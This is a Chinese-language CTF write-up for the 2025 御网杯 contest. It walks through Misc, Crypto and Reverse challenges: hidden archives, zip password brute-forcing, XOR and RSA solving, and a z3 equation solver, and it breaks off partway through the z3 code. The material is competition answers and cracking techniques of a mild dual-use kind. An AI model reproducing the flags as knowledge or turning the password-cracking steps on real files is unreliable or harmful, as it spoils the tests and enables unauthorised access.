2025御网杯WP
Misc
1.光隙中的寄生密钥
一、题目截图

二、解题思路
图片里藏了压缩包

使用binwalk进行分解得到解密压缩包,再使用archpr爆破

爆破后获得一串十六进制,cyberchef获得flag

2.被折叠的显影图纸
一、题目截图

二、解题思路
随波逐流扫描,结合这两个位置获得flag

3.ez_xor
一、题目截图

二、解题思路
cipher = bytes.fromhex("5f55585e42717a6d7f484e5c786a7d08010b44".replace('-',''))
key = 0x39
plain = bytes([b ^ key for b in cipher])
print(plain.decode())
根据题目“ez_xor”,推测为单字节异或加密。通过分析密文格式和常见flag结构,尝试用密钥0x39(字符9)解密:
- 十六进制转字节:将密文分割为单字节数组
- 单字节异或:逐字节与
0x39异或 - 拼接结果:得到完整明文
flag{HCTFqweASD182}
4.套娃
一、题目截图

二、解题思路
后缀名假的,改成zip

进去之后txt也是假的,根据文件内容改成docx
docx进去之后把字体改颜色获得flag

5.easy_misc
一、题目截图

二、解题思路
先使用cyberchef的magic方法得到中间产物synt{UAPGSWIbXhQWzXwOo}

再使用随波逐流获得答案

Crypto
1.cry_rsa
一、题目截图

二、解题思路
使用ctfrsatools工具得到d,再加10得到flag

flag{2023326077889096389}
2.草甸方阵的密语
一、题目截图

二、解题思路
使用随波逐流
第一次找疑似flag(前面四位加{的)

第二次再解码

flag{J7k3dL9mN6pQ8R2S}
3.easy-签到题
一、题目截图

二、解题思路
用010 Editor打开签到题.exe,然后把里面的内容拖到cyberchef解密(Magic方式)
flag{8d0b293a-6c1e-5f74-9b36-401873265e9f}

4.gift
一、题目截图

二、解题思路
爸爸带的礼物是π(派),因为题目中的级数对应莱布尼茨公式计算π/4,四份合起来为π。凯撒密码加密后偏移量为1,flag{pie}变为flag{qjf}。
flag{qjf}
5.baby_rsa
一、题目截图

二、解题思路
import math
from Crypto.Util.number import isPrime, long_to_bytes
import sympy
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063
s = math.isqrt(N)
found = False
for delta in range(1000):
q_candidate = s - delta
if isPrime(q_candidate):
p_candidate = sympy.nextprime(q_candidate)
if q_candidate * p_candidate == N:
print("Found q and p:")
print("q =", q_candidate)
print("p =", p_candidate)
found = True
break
if found:
break
p = 110428348144013242234907008083355974834266917027228724749730385104087025249352345946164980361082178532313669767485270254326404723948153912910688118140621712922649644396733499972695482991866293857864311557686710317462165131360819813493524457615383204504505224030129953230866877990529769205769592709254542472051
q = 110428348144013242234907008083355974834266917027228724749730385104087025249352345946164980361082178532313669767485270254326404723948153912910688118140621712922649644396733499972695482991866293857864311557686710317462165131360819813493524457615383204504505224030129953230866877990529769205769592709254542470619
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).strip()
print("Flag:", flag.decode())

再把所有的5改成6获得flag
flag{6c9c886c361641e0b261f68b61db8cec}
6.ezbase
一、题目截图
复现,图略了
二、解题思路
垃圾邮件解密
https://spammimic.com/decode.cgi


Cyberchef解密获得flag

Reverse
sign in
一、题目截图

二、解题思路
ida进行动态调试

在return v6 - __readfsqword(0x28u);处单击v6获得flag

2.ez_js
一、题目截图

二、解题思路
搜索flag各种拓展名称搜到f1ag

f1ag{HCTFqweIOP128}
3.ez_math
一、题目截图
复现略了
二、解题思路
python逆向
逆向完之后写解密代码
if __name__ == '__main__':
input_file = r'eq1' # 加密文件路径
output_file = 'decrypted' # 解密后的输出文件名
key = 'eq verySimple' # 确保密钥与加密时一致
with open(input_file, 'rb') as f:
encrypted_data = f.read()
decrypted = bytearray()
for idx, byte in enumerate(encrypted_data):
# 用相同密钥异或解密
decrypted_byte = byte ^ ord(key[idx % len(key)])
decrypted.append(decrypted_byte)
with open(output_file, 'wb') as f2:
f2.write(decrypted)
解密得到
x[0] * x[16] + x[10] * x[18] + 2 * (x[11] * x[25]) + 5 * (x[13] * x[25]) - 9 * (x[13] * x[32]) - 8 * (x[15] * x[29]) + 8 * (x[17] * x[28]) + 7 * (x[19] * x[29]) - 5 * (x[19] * x[30]) - 7 * (x[19] * x[9]) - 4 * x[20] * x[20] + 7 * (x[22] * x[23]) - 5 * (x[23] * x[8]) - 8 * (x[29] * x[5]) - 7 * x[31] + 7 * (x[32] * x[9]) + 10 * (x[33] * x[4]) + 8 * x[5] * x[5] - 5 * x[8] * x[8] - 16191 == 0
-9 * (x[1] * x[15]) - 2 * (x[10] * x[18]) + 9 * (x[11] * x[18]) - 6 * (x[12] * x[16]) - x[14] * x[15] - 3 * (x[15] * x[18]) - 9 * (x[16] * x[8]) + 10 * (x[17] * x[23]) + 4 * (x[17] * x[5]) - 2 * (x[2] * x[22]) - 4 * x[2] + 4 * (x[21] * x[3]) + 10 * (x[23] * x[25]) + 5 * (x[28] * x[33]) + 10 * (x[28] * x[5]) - 8 * (x[30] * x[36]) - 14067 == 0
10 * (x[0] * x[26]) + 6 * (x[0] * x[29]) - 7 * (x[13] * x[29]) + 8 * (x[21] * x[7]) + 9 * (x[22] * x[25]) - 8 * (x[23] * x[5]) + 8 * (x[26] * x[32]) + 5 * (x[27] * x[30]) + 9 * (x[27] * x[31]) + 6 * (x[28] * x[6]) - 9 * (x[29] * x[5]) - 4 * (x[31] * x[8]) - 10 * (x[32] * x[35]) + 10 * x[35] * x[35] - 55102 == 0
3 * (x[0] * x[16]) + 4 * (x[1] * x[36]) + 8 * (x[10] * x[33]) - 8 * (x[12] * x[17]) - 8 * (x[14] * x[28]) + 7 * (x[15] * x[25]) - 2 * (x[15] * x[6]) + 6 * (x[15] * x[8]) - 2 * (x[2] * x[25]) - 7 * (x[2] * x[34]) + x[23] * x[35] - 5 * (x[27] * x[9]) + 6 * (x[28] * x[30]) + 6 * (x[28] * x[37]) + 8 * (x[28] * x[7]) - 4 * x[30] + 7 * (x[32] * x[35]) + 7 * (x[35] * x[5]) + 7 * (x[35] * x[7]) - 10 * (x[5] * x[7]) - 2 * (x[7] * x[9]) - 102697 == 0
7 * (x[0] * x[27]) + 3 * (x[1] * x[15]) - 9 * (x[1] * x[29]) - 3 * (x[10] * x[33]) - 10 * (x[12] * x[34]) - 8 * (x[15] * x[2]) - 8 * (x[18] * x[23]) - 6 * (x[19] * x[7]) - 6 * (x[2] * x[34]) + 7 * (x[2] * x[7]) - 3 * (x[20] * x[22]) - 8 * (x[23] * x[25]) - 3 * (x[26] * x[34]) - 9 * (x[28] * x[3]) - 8 * (x[28] * x[35]) + 3 * (x[36] * x[4]) + 6 * x[8] + 324145 == 0
-9 * (x[0] * x[2]) + 5 * x[1] - 9 * (x[13] * x[3]) + 4 * (x[14] * x[17]) + 9 * (x[18] * x[29]) + 5 * (x[18] * x[9]) + 5 * (x[20] * x[23]) - x[20] * x[5] - 8 * (x[21] * x[33]) - 7 * x[27] + 6 * (x[28] * x[7]) - 7 * (x[29] * x[9]) + 10 * (x[31] * x[6]) + 52822 == 0
-6 * (x[10] * x[29]) - 2 * (x[10] * x[33]) + 4 * (x[11] * x[31]) + 8 * (x[12] * x[27]) - 9 * (x[12] * x[36]) + 2 * (x[16] * x[24]) + 2 * (x[19] * x[34]) - 8 * (x[19] * x[37]) - 10 * (x[24] * x[7]) - 5 * (x[34] * x[6]) - 2 * (x[7] * x[8]) + 9 * x[9] + 119387 == 0
6 * (x[0] * x[22]) - 3 * (x[12] * x[37]) - 3 * (x[12] * x[5]) - 2 * (x[13] * x[36]) - 10 * (x[19] * x[5]) + 7 * (x[2] * x[22]) + 7 * (x[2] * x[9]) - 8 * x[21] * x[21] + x[21] * x[34] - 5 * (x[23] * x[26]) + 9 * (x[25] * x[5]) + 8 * (x[25] * x[9]) + 4 * (x[3] * x[30]) - 3 * (x[37] * x[7]) - 6 * (x[37] * x[9]) + 4832 == 0
-2 * x[0] * x[0] + 3 * (x[13] * x[29]) + x[17] * x[25] - 10 * (x[21] * x[28]) + 5 * (x[22] * x[31]) + 10 * (x[22] * x[9]) - 10 * (x[25] * x[32]) + 4 * x[27] + 6 * (x[29] * x[6]) - 4 * (x[30] * x[34]) - 9 * (x[31] * x[4]) + 2 * (x[32] * x[34]) - 7 * (x[4] * x[6]) + 123454 == 0
4 * (x[0] * x[20]) + x[0] * x[3] - 9 * (x[1] * x[17]) + 9 * (x[11] * x[34]) - 6 * (x[13] * x[7]) - 6 * (x[14] * x[2]) + 6 * (x[14] * x[29]) + 7 * (x[15] * x[27]) - 7 * (x[18] * x[5]) - 7 * x[20] * x[20] + 8 * (x[20] * x[21]) + 9 * (x[20] * x[27]) + 2 * (x[21] * x[25]) - 6 * (x[25] * x[28]) - 9 * (x[28] * x[32]) - 6 * (x[3] * x[32]) - 3 * (x[33] * x[7]) - 8 * (x[36] * x[9]) + 170296 == 0
6 * (x[0] * x[11]) + x[1] * x[12] - 9 * (x[1] * x[30]) - 10 * (x[1] * x[35]) + 8 * (x[10] * x[7]) + 5 * (x[14] * x[28]) + 7 * (x[16] * x[21]) - 10 * (x[19] * x[35]) + x[19] * x[6] + 8 * (x[2] * x[31]) - 2 * (x[21] * x[26]) - 3 * (x[23] * x[27]) + 9 * (x[27] * x[34]) + 4 * x[28] * x[28] - x[3] * x[31] + x[30] * x[37] - 9 * (x[30] * x[4]) + 4 * x[34] - 76173 == 0
-8 * (x[0] * x[15]) - 4 * (x[11] * x[15]) + 9 * (x[12] * x[23]) - 10 * (x[12] * x[29]) + 8 * (x[13] * x[26]) + 6 * (x[13] * x[9]) - x[15] * x[27] - x[15] * x[33] + 3 * (x[19] * x[29]) - 10 * (x[2] * x[20]) - x[22] * x[32] + 5 * (x[23] * x[8]) + 6 * (x[32] * x[5]) - 27078 == 0
8 * (x[1] * x[9]) + 8 * (x[10] * x[16]) - 3 * (x[10] * x[29]) - 2 * (x[11] * x[13]) + 6 * (x[11] * x[33]) + 3 * (x[12] * x[14]) + 8 * (x[12] * x[16]) + 5 * (x[16] * x[34]) + 7 * (x[18] * x[32]) + 8 * (x[19] * x[26]) + 2 * x[19] - 4 * (x[20] * x[6]) + 4 * x[22] * x[22] - 8 * (x[25] * x[5]) - 7 * (x[26] * x[34]) - x[29] + 10 * (x[3] * x[4]) - 6 * x[32] * x[32] - 299677 == 0
3 * (x[0] * x[6]) + 7 * (x[10] * x[34]) + 9 * (x[11] * x[18]) - 8 * (x[12] * x[3]) - x[12] * x[33] - x[12] * x[34] - 7 * (x[16] * x[7]) + x[16] * x[8] - 3 * (x[19] * x[20]) - 6 * (x[19] * x[33]) - 8 * (x[22] * x[27]) - 4 * (x[24] * x[3]) + 57797 == 0
9 * (x[0] * x[29]) + 2 * (x[1] * x[19]) + 8 * (x[10] * x[30]) - 2 * (x[11] * x[20]) - 6 * (x[11] * x[29]) + 3 * (x[13] * x[20]) - 10 * (x[14] * x[17]) - 10 * (x[15] * x[19]) + 6 * (x[15] * x[23]) + 7 * (x[15] * x[4]) + 6 * (x[18] * x[28]) + x[19] * x[3] - x[20] * x[3] - 10 * (x[21] * x[30]) + 10 * (x[22] * x[27]) - 10 * (x[23] * x[31]) + 2 * (x[24] * x[5]) - 3 * (x[25] * x[31]) + 5 * (x[26] * x[7]) + 7 * x[3] * x[3] + 7 * (x[30] * x[32]) + 6 * (x[31] * x[5]) + 10 * x[33] - 7 * x[5] - 258015 == 0
2 * (x[0] * x[16]) - 6 * (x[1] * x[20]) + 5 * (x[10] * x[17]) - 5 * (x[15] * x[23]) + 8 * (x[16] * x[18]) + 9 * (x[19] * x[36]) + 6 * (x[2] * x[33]) - 9 * (x[23] * x[9]) + 9 * x[25] * x[25] + 2 * (x[3] * x[37]) + 7 * (x[30] * x[34]) - 2 * x[32] - 157310 == 0
-3 * (x[0] * x[25]) - 2 * (x[1] * x[36]) + 2 * (x[10] * x[31]) + 9 * (x[13] * x[20]) - 5 * (x[15] * x[2]) - 6 * (x[15] * x[37]) - 2 * x[17] + 8 * (x[19] * x[28]) + 7 * (x[2] * x[32]) - 2 * (x[21] * x[30]) + 5 * (x[23] * x[5]) + 5 * (x[24] * x[26]) - 8 * (x[24] * x[33]) - 8 * (x[26] * x[35]) - 10 * x[26] - 10 * (x[29] * x[36]) - 2 * (x[30] * x[6]) + 4 * (x[31] * x[36]) + 9 * (x[33] * x[9]) - x[37] * x[6] + 7350 == 0
-8 * (x[0] * x[36]) - 8 * (x[17] * x[32]) + 8 * (x[2] * x[33]) - 7 * (x[22] * x[28]) - 9 * (x[22] * x[35]) + 8 * (x[22] * x[5]) - 2 * (x[23] * x[5]) + 5 * (x[26] * x[27]) + 6 * (x[26] * x[31]) - 3 * (x[32] * x[33]) - 2 * (x[35] * x[4]) + x[36] * x[8] + 85362 == 0
7 * (x[0] * x[33]) - 5 * (x[12] * x[35]) + x[12] * x[9] + 10 * (x[13] * x[30]) + 8 * (x[15] * x[32]) - 9 * (x[2] * x[20]) + 3 * (x[2] * x[30]) + 10 * (x[25] * x[29]) - 6 * (x[26] * x[32]) - 3 * (x[27] * x[9]) + 7 * (x[36] * x[6]) - 121182 == 0
8 * (x[0] * x[17]) + 10 * (x[1] * x[14]) + 2 * (x[10] * x[33]) + 8 * (x[13] * x[26]) - 5 * (x[14] * x[34]) - 9 * (x[14] * x[7]) + x[18] * x[2] - 10 * (x[18] * x[7]) + x[2] * x[33] + 10 * x[20] - 6 * (x[22] * x[30]) + 6 * (x[22] * x[9]) + 10 * (x[23] * x[34]) + 9 * (x[25] * x[9]) + 7 * (x[26] * x[30]) - 9 * (x[27] * x[31]) + 7 * (x[28] * x[5]) - 8 * (x[30] * x[31]) - 9 * x[34] * x[34] + 2 * (x[36] * x[8]) - 136304 == 0
-4 * (x[0] * x[25]) - 9 * (x[1] * x[21]) - 9 * (x[1] * x[25]) + 6 * (x[12] * x[5]) + 6 * (x[2] * x[28]) - 4 * (x[20] * x[28]) - 8 * (x[22] * x[23]) + 5 * (x[23] * x[32]) - 6 * (x[24] * x[28]) - 6 * (x[25] * x[29]) + 121526 == 0
-4 * (x[0] * x[30]) + x[11] * x[14] - 6 * (x[12] * x[20]) - 8 * (x[13] * x[28]) + 10 * (x[15] * x[2]) - 10 * (x[18] * x[25]) + 6 * (x[22] * x[29]) - 3 * (x[25] * x[8]) + x[27] * x[36] - 2 * (x[3] * x[30]) + 10 * (x[30] * x[34]) + 4 * (x[35] * x[6]) - 27523 == 0
-9 * (x[10] * x[30]) - 3 * (x[10] * x[6]) - 10 * (x[13] * x[29]) - 8 * (x[13] * x[7]) + 3 * (x[14] * x[32]) - 2 * (x[18] * x[20]) + 10 * (x[18] * x[34]) - 4 * (x[2] * x[7]) + 9 * (x[20] * x[22]) - 5 * (x[20] * x[33]) - 10 * (x[23] * x[34]) - 6 * x[26] + 2 * (x[3] * x[34]) + 9 * x[30] * x[30] + 8 * (x[31] * x[8]) + 9 * (x[33] * x[36]) + 35830 == 0
7 * (x[10] * x[2]) + 2 * x[10] - 5 * (x[13] * x[9]) + 10 * (x[15] * x[33]) + 8 * (x[17] * x[23]) + 5 * x[2] * x[2] - 8 * (x[2] * x[37]) + 6 * (x[20] * x[24]) + 4 * (x[20] * x[35]) - 8 * (x[23] * x[8]) - 9 * (x[24] * x[7]) + 7 * (x[26] * x[8]) - 5 * (x[3] * x[36]) + 6 * (x[30] * x[35]) - 7 * x[36] - 5 * x[7] - 59235 == 0
-8 * x[11] * x[11] - 9 * (x[14] * x[31]) - 8 * (x[14] * x[35]) + 7 * (x[15] * x[20]) + x[15] * x[24] + 6 * (x[15] * x[25]) - 10 * (x[16] * x[18]) - x[16] * x[9] + 8 * (x[19] * x[32]) + 5 * (x[2] * x[5]) + 6 * (x[21] * x[30]) - 10 * (x[22] * x[24]) + 2 * (x[22] * x[34]) - 10 * (x[22] * x[37]) + 4 * (x[27] * x[35]) - x[28] * x[33] + 2 * (x[28] * x[37]) + 7 * (x[29] * x[37]) - 2 * (x[34] * x[35]) - 7 * (x[35] * x[6]) + 82407 == 0
7 * (x[0] * x[27]) + 7 * (x[10] * x[21]) - 10 * (x[10] * x[3]) + 6 * (x[13] * x[36]) - 3 * (x[15] * x[17]) + 7 * (x[15] * x[30]) - x[15] * x[7] + x[16] * x[34] + 8 * (x[17] * x[37]) + 2 * x[2] + 6 * (x[20] * x[21]) + 9 * (x[20] * x[33]) + 8 * (x[20] * x[4]) + 3 * (x[21] * x[25]) + x[22] * x[28] + 6 * x[23] * x[23] - 6 * (x[24] * x[3]) + 10 * (x[25] * x[27]) + 5 * (x[29] * x[4]) - 6 * (x[3] * x[32]) - 6 * (x[30] * x[4]) - 5 * (x[30] * x[5]) - x[33] * x[34] - 7 * (x[4] * x[9]) - 4 * (x[7] * x[9]) - 154206 == 0
2 * x[0] * x[0] + 2 * (x[0] * x[14]) + 7 * (x[11] * x[13]) - 9 * (x[11] * x[16]) + 2 * (x[11] * x[21]) + 8 * (x[11] * x[24]) + 5 * (x[11] * x[4]) + 4 * (x[13] * x[36]) - 8 * (x[15] * x[16]) - 4 * (x[16] * x[17]) - 3 * (x[16] * x[23]) - 8 * (x[17] * x[33]) - 4 * (x[17] * x[34]) - 6 * (x[18] * x[31]) + 7 * (x[2] * x[25]) - x[20] * x[25] + 5 * (x[20] * x[9]) + 2 * (x[21] * x[26]) - 5 * (x[21] * x[5]) + 4 * (x[22] * x[35]) - 7 * (x[23] * x[9]) - 10 * (x[31] * x[7]) + 156020 == 0
-5 * (x[12] * x[34]) + 4 * (x[12] * x[9]) - 2 * (x[13] * x[31]) + x[14] * x[9] + 4 * (x[17] * x[32]) - 2 * (x[18] * x[23]) - 10 * (x[18] * x[29]) + 6 * (x[19] * x[30]) + 4 * (x[2] * x[32]) - 9 * x[27] * x[27] - 2 * (x[3] * x[35]) - 2 * (x[3] * x[5]) - 2 * (x[7] * x[8]) + 129397 == 0
-9 * x[1] + 5 * (x[12] * x[2]) + 4 * (x[12] * x[35]) - 5 * (x[14] * x[8]) + 2 * x[15] + 3 * (x[17] * x[22]) - 3 * (x[17] * x[23]) + 9 * (x[18] * x[33]) - 5 * (x[20] * x[23]) - 8 * (x[20] * x[34]) - 8 * (x[29] * x[6]) + 70585 == 0
x[0] * x[1] + 6 * (x[0] * x[12]) + 10 * (x[10] * x[31]) + 8 * (x[11] * x[32]) + 9 * (x[13] * x[14]) - 2 * (x[15] * x[33]) - 9 * (x[15] * x[9]) + 4 * (x[16] * x[9]) - 2 * (x[18] * x[29]) - 5 * (x[2] * x[36]) + 2 * (x[21] * x[32]) - 8 * (x[24] * x[33]) + 9 * (x[25] * x[26]) + x[26] * x[28] - x[26] * x[3] - 3 * (x[26] * x[6]) + 6 * x[29] - 2 * (x[37] * x[7]) - 119430 == 0
x[0] * x[2] + 10 * x[10] + 6 * (x[12] * x[18]) - 5 * (x[12] * x[35]) + 9 * (x[13] * x[29]) - 2 * (x[14] * x[37]) + 10 * (x[15] * x[23]) + 7 * (x[15] * x[4]) - 5 * (x[16] * x[9]) - 9 * (x[20] * x[8]) - 4 * (x[21] * x[27]) - 5 * (x[22] * x[5]) + x[28] * x[6] + x[3] * x[36] + 8 * (x[33] * x[35]) - 144386 == 0
-5 * (x[1] * x[12]) + 4 * (x[1] * x[6]) + 4 * (x[11] * x[5]) + 8 * (x[15] * x[20]) + 7 * (x[15] * x[22]) - 10 * (x[19] * x[29]) - 6 * x[2] * x[2] + 5 * (x[2] * x[31]) - 2 * (x[2] * x[9]) + 2 * (x[20] * x[35]) + 7 * (x[29] * x[5]) + 8 * (x[30] * x[7]) + 8 * (x[35] * x[4]) - 2 * x[37] * x[37] - 99154 == 0
-2 * x[0] * x[0] + 5 * (x[0] * x[11]) - 10 * (x[0] * x[21]) + 9 * (x[0] * x[30]) - 2 * (x[1] * x[29]) + 6 * (x[10] * x[29]) - 9 * (x[10] * x[30]) - 8 * (x[10] * x[32]) + 9 * x[11] * x[11] - 9 * (x[11] * x[5]) - x[13] * x[17] + 5 * (x[13] * x[6]) + 9 * (x[14] * x[20]) - 10 * x[18] * x[18] - 5 * (x[19] * x[24]) + 7 * (x[2] * x[26]) + 10 * (x[20] * x[21]) - 9 * (x[24] * x[34]) - 5 * (x[24] * x[5]) - 9 * (x[26] * x[32]) - 6 * (x[30] * x[7]) - 7 * (x[32] * x[37]) + 414339 == 0
2 * (x[0] * x[21]) - 10 * (x[0] * x[35]) + 9 * (x[11] * x[15]) - 2 * (x[12] * x[4]) + 4 * (x[16] * x[4]) + 2 * (x[17] * x[32]) - 8 * (x[2] * x[20]) + 10 * (x[21] * x[23]) + 2 * (x[21] * x[27]) - 5 * (x[21] * x[30]) + 8 * (x[22] * x[30]) + 2 * (x[25] * x[4]) + 9 * (x[28] * x[34]) + 3 * (x[30] * x[5]) + 4 * (x[33] * x[7]) - 3 * (x[6] * x[8]) - 169458 == 0
x[10] * x[31] - 4 * (x[10] * x[4]) - x[11] * x[22] - 10 * (x[12] * x[5]) - 4 * (x[16] * x[19]) + 3 * (x[19] * x[2]) + 3 * (x[19] * x[34]) - 6 * x[19] + 4 * (x[2] * x[32]) - 8 * (x[22] * x[33]) + 8 * x[23] * x[23] + 2 * (x[24] * x[6]) + 8 * x[31] + 2 * (x[5] * x[7]) - 26425 == 0
8 * (x[1] * x[35]) - 3 * (x[1] * x[7]) - 3 * (x[14] * x[23]) - 6 * (x[16] * x[28]) - 2 * (x[16] * x[6]) - 7 * x[16] + 4 * (x[2] * x[4]) + x[21] * x[24] - 5 * (x[23] * x[3]) - 9 * (x[24] * x[30]) + 9 * (x[26] * x[35]) - 8 * (x[28] * x[4]) - 9 * (x[3] * x[32]) + 2 * x[3] + 209624 == 0
-10 * (x[0] * x[28]) + 2 * (x[0] * x[3]) + 8 * (x[10] * x[30]) - x[11] * x[31] + 6 * (x[13] * x[32]) + 10 * (x[14] * x[36]) + 5 * (x[15] * x[23]) + 2 * (x[15] * x[31]) + 2 * (x[16] * x[25]) + 10 * (x[16] * x[30]) - 10 * (x[18] * x[22]) + 8 * (x[19] * x[6]) - 7 * (x[2] * x[36]) - x[21] * x[29] - 4 * (x[24] * x[4]) + 8 * (x[26] * x[5]) + 10 * (x[31] * x[5]) - 5 * (x[32] * x[7]) - 4 * (x[36] * x[5]) - 146637 == 0
-2 * (x[1] * x[23]) + 9 * (x[10] * x[9]) + 9 * (x[15] * x[21]) + 10 * (x[16] * x[25]) + 5 * (x[16] * x[36]) + 7 * (x[16] * x[6]) + 7 * (x[18] * x[35]) + 8 * (x[19] * x[3]) - 9 * (x[19] * x[35]) + 10 * (x[2] * x[32]) + 5 * (x[2] * x[4]) - x[21] * x[27] - 6 * (x[24] * x[35]) - 3 * (x[25] * x[26]) + 6 * (x[29] * x[36]) + 6 * (x[29] * x[4]) - 3 * (x[33] * x[4]) - 5 * (x[34] * x[5]) - 3 * (x[37] * x[7]) + 9 * (x[4] * x[8]) - 422738 == 0
然后ai一个脚本解密
from z3 import BitVec, Solver, sat
def solve_equations():
solver = Solver()
x = [BitVec(f'x_{i}', 8) for i in range(38)] # 使用BitVec类型
# 固定已知字符
prefix = [ord(c) for c in 'flag{']
for i in range(5):
solver.add(x[i] == prefix[i])
solver.add(x[-1] == ord('}')) # 假设最后一个字符是'}'
# 添加所有方程(示例仅展示部分,需补全)
solver.add(
-7 * (x[1] * x[21]) - 8 * (x[14] * x[17]) + x[14] * x[31] + 3 * (x[16] * x[23]) + 7 * (x[16] * x[24]) - 7 * (
x[19] * x[27]) - x[20] * x[30] - 8 * x[21] * x[21] + x[22] * x[22] - 7 * (x[24] * x[33]) + 9 * (
x[25] * x[30]) - 5 * (x[25] * x[6]) - 8 * (x[5] * x[8]) + 6 * x[5] + 207015 == 0,
7 * (x[11] * x[27]) + 2 * (x[11] * x[7]) + x[14] * x[26] - 5 * (x[16] * x[26]) + 4 * (x[17] * x[27]) + 7 * (
x[18] * x[5]) + 4 * (x[2] * x[6]) - 4 * (x[2] * x[7]) + 5 * (x[21] * x[5]) + 5 * (x[25] * x[34]) - 6 * (
x[28] * x[34]) - 6 * x[29] * x[29] - 7 * (x[30] * x[6]) - 3 * (x[31] * x[5]) + 8 * (
x[34] * x[4]) + 10 * (x[36] * x[7]) - 6 * x[36] - 2 * x[9] - 107015 == 0,
- 5 * (x[1] * x[9]) - 2 * (x[10] * x[23]) - 3 * (x[12] * x[20]) - x[14] * x[6] - x[14] * x[9] - 8 * (
x[16] * x[26]) + 7 * (x[20] * x[8]) + 2 * (x[22] * x[26]) + 5 * (x[23] * x[34]) + 8 * (
x[24] * x[4]) - 7 * (x[25] * x[33]) + 7 * (x[26] * x[33]) - 4 * (x[27] * x[5]) - 4 * (
x[7] * x[8]) + 16737 == 0,
- 8 * (x[1] * x[28]) + 4 * (x[1] * x[34]) + 8 * (x[10] * x[28]) - 6 * (x[10] * x[30]) + 8 * (
x[13] * x[9]) + 2 * (
x[18] * x[7]) + 10 * (x[18] * x[8]) + 3 * (x[19] * x[2]) + 6 * (x[20] * x[22]) + 8 * (
x[20] * x[37]) + 9 * (x[25] * x[27]) - 8 * (x[26] * x[35]) + 2 * (x[28] * x[9]) - 8 * (
x[30] * x[5]) + 10 * (x[33] * x[35]) - 7 * x[4] - 255981 == 0,
- 6 * (x[0] * x[16]) + 5 * (x[0] * x[8]) + 10 * (x[1] * x[5]) - x[10] * x[11] + x[14] * x[9] + x[15] - 4 * (
x[16] * x[33]) + 6 * (x[17] * x[27]) - 6 * (x[18] * x[30]) - 7 * (x[19] * x[32]) + 5 * (
x[21] * x[4]) + 10 * (x[24] * x[36]) + 9 * (x[27] * x[7]) - 3 * (x[30] * x[4]) + 8 * (
x[30] * x[8]) - 7 * (x[32] * x[35]) + 2 * (x[33] * x[36]) - 87557 == 0,
5 * (x[0] * x[25]) + 8 * (x[10] * x[23]) - 4 * (x[10] * x[36]) - x[10] * x[6] + 8 * (x[11] * x[24]) + 4 * (
x[13] * x[23]) + 2 * (x[15] * x[20]) - 5 * (x[16] * x[9]) - 3 * (x[17] * x[24]) + 9 * (
x[18] * x[4]) + 3 * (x[21] * x[26]) + 9 * (x[23] * x[37]) + 4 * (x[23] * x[8]) - 6 * (
x[24] * x[7]) - 8 * (x[26] * x[28]) + 9 * (x[27] * x[32]) + 3 * (x[31] * x[33]) + 10 * (
x[33] * x[37]) - 7 * (x[36] * x[8]) - 401983 == 0,
- 8 * (x[0] * x[37]) + 5 * (x[13] * x[33]) + x[16] * x[5] + 6 * x[17] * x[17] + 8 * (x[19] * x[35]) - 7 * (
x[20] * x[37]) - 6 * (x[20] * x[6]) + 9 * (x[22] * x[29]) + 5 * (x[22] * x[5]) + 7 * (
x[23] * x[28]) + 8 * (x[23] * x[36]) + 9 * (x[24] * x[27]) + 6 * (x[25] * x[37]) + 9 * (
x[29] * x[32]) - 129643 == 0,
- 8 * (x[10] * x[33]) - 8 * (x[11] * x[33]) + 5 * (x[15] * x[24]) + x[16] * x[28] - 6 * (x[18] * x[22]) + 8 * (
x[18] * x[35]) + 4 * (x[20] * x[28]) - x[20] * x[32] - 3 * (x[23] * x[27]) - 2 * x[25] * x[25] + 9 * (
x[26] * x[5]) - 3 * (x[27] * x[30]) + 5 * (x[27] * x[36]) + 3 * x[3] * x[3] - 5 * (x[3] * x[6]) - x[
30] * x[31] - 3 * (x[32] * x[8]) + 10 * (x[37] * x[5]) + 9 * x[37] - 49419 == 0,
- 8 * (x[10] * x[23]) + 8 * (x[10] * x[6]) + 2 * x[12] * x[12] + 9 * (x[13] * x[7]) + 10 * (x[14] * x[26]) + x[
16] *
x[28] + 5 * (x[28] * x[4]) - 6 * x[31] * x[31] + 6 * (x[35] * x[4]) + 9 * x[36] - 170291 == 0,
3 * (x[0] * x[10]) - 4 * (x[0] * x[14]) + x[1] * x[15] - 6 * (x[1] * x[32]) - 3 * (x[11] * x[13]) + 10 * (
x[12] * x[3]) - 3 * (x[13] * x[30]) + 10 * (x[13] * x[9]) - 5 * (x[16] * x[28]) - 2 * (
x[16] * x[30]) + 3 * (x[18] * x[19]) + 7 * x[20] * x[20] - x[21] * x[37] + 6 * (x[25] * x[5]) + 10 * x[
25] - 3 * (x[26] * x[33]) + 9 * (x[35] * x[8]) + 6 * (x[36] * x[4]) + 5 * (x[36] * x[9]) + 2 * x[
36] - 205432 == 0,
- 7 * (x[0] * x[20]) + 2 * (x[10] * x[32]) + 8 * (x[12] * x[5]) + 2 * (x[13] * x[8]) + 5 * (
x[14] * x[21]) - 5 * (
x[14] * x[23]) + 3 * (x[17] * x[36]) - 2 * (x[18] * x[22]) + 10 * (x[18] * x[33]) + 8 * (
x[19] * x[24]) - 2 * (x[21] * x[27]) + 10 * (x[22] * x[28]) - 2 * (x[24] * x[29]) - 4 * (
x[29] * x[31]) + 9 * x[36] - 56152 == 0,
6 * (x[1] * x[27]) - 2 * (x[16] * x[2]) - 8 * (x[17] * x[6]) + 9 * (x[18] * x[36]) - 5 * (x[20] * x[8]) + 5 * (
x[30] * x[8]) - 55188 == 0,
8 * x[1] - 7 * (x[11] * x[14]) + 4 * (x[11] * x[23]) + 4 * (x[12] * x[5]) + 3 * (x[15] * x[26]) - 3 * (
